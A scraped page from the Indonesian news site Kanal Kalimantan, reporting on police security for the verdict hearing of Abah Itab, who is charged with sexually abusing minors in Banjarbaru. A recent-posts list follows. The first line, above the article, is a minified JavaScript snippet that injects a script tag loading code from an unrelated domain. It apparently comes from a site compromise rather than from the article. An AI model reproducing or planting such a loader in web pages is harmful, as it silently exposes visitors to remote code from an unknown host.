(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Hadapi Vonis Besok, Sidang Abah Itab Dikawal Sekitar 60 Polisi


BANJARBARU, Terdakwa Abah Itab akan menghadapi sidang putusan atau vonis atas kasus pencabulan di Pengadilan Negeri (PN) Banjarbaru, Rabu (11/7) siang. Kejaksaan Negeri Banjarbaru bekerja sama dengan Polres Banjarbaru akan mengamankan jalan proses sidang nanti.

Kasi Pidum Kejaksaan Negeri Banjarbaru Ahmad Budi Mukhlis SH MH  kepada Kanal Kalimantan mengatakan, ada sekitar 60 personil kepolisian didatangkan untuk mengamankan jalannya proses sidang tersebut.

“Untuk sementara 60 personil akan dikerahkan, nanti bisa ditambah sesuai dengan kebutuhan,” ujarnya,

Banyaknya anggota kepolisian yang didatangkan karena melihat situasi sidang-sidang sebelumnya, dimana selalu dipenuhi massa yang geram atas tindakan Abah Itab. Jelas saja pada kasusnya sendiri Abah Itab resmi menjadi tersangka setelah melakukan pencabulan terhadap korban-korbannya dengan mengatas namakan agama. Tidak tanggung-tanggung, korbannya sendiri bahkan masih anak di bawah umur.

Pada sidang pembacaan tuntutan, massa sekitar 50 orang itu berdatangan dan mengikuti jalannya proses sidang dari luar ruangan karena sidang tersebut digelar secara tertutup. Dalam pembacaan tuntutan saat itu, terdakwa Abah Itab dikenakan hukuman maksimal yaitu pidana penjara 15 tahun denda Rp 2 miliar subsider 6 bulan kurungan.

Wahyu (53) salah satu jamaah yang turut ikut dalam massa saat itu mengungkapkan keinginan mereka agar hukuman Abah Itab jangan sampai direndahkan alias semaksimal mungkin karena ini menyangkut anak di bawah umur.

“Meskipun hukumanya 15 tahun, masa depan anak tidak akan bisa dikembalikan. Jadi hukum semaksimal jangan direndahkan,” tegasnya saat itu.

Beberapa pekan kemudian, sidang dengan agenda pledoi pembelaan, massa kian beringas. Saat itu massa mulai membawa kertas yang bertulisan cercaan dan olok-olokan terhadap terdakwa. Segala iring-ringan teriakan hingga massa yang mengejar terdakwa saat akan dimasukan kembali ke mobil tahanan membuat situasi sidang semakin mencengkam.

Meski hingga saat ini tidak ada kontak fisik, hal itu dikhawatirkan dapat menggangu jalannya proses sidang. Dugaan adanya massa yang lebih banyak akan datang, penambahan personil dari Polisi dan internal Kejaksaan telah dipersiapkan.

“Semoga tetap aman dan kondusif. Saya meminta kepada massa nantinya apapun putusan dari majelis hakim tolong dihormati. Dari Kejaksaan sendiri akan mempelajari dulu isi putusannya” pungkas Ahmad Budi Mukhlis

Sidang putusan besok akan dipimpin Ketua Majelis Hakim Liliek didampingi dua hakim anggota Vivi Indrasusi S.SH, MH dan Achmad Faisal M SH MH. (rico)

Reporter:Rico
Editor:Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

4 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

18 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

20 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

1 hari ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

1 hari ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

This website uses cookies.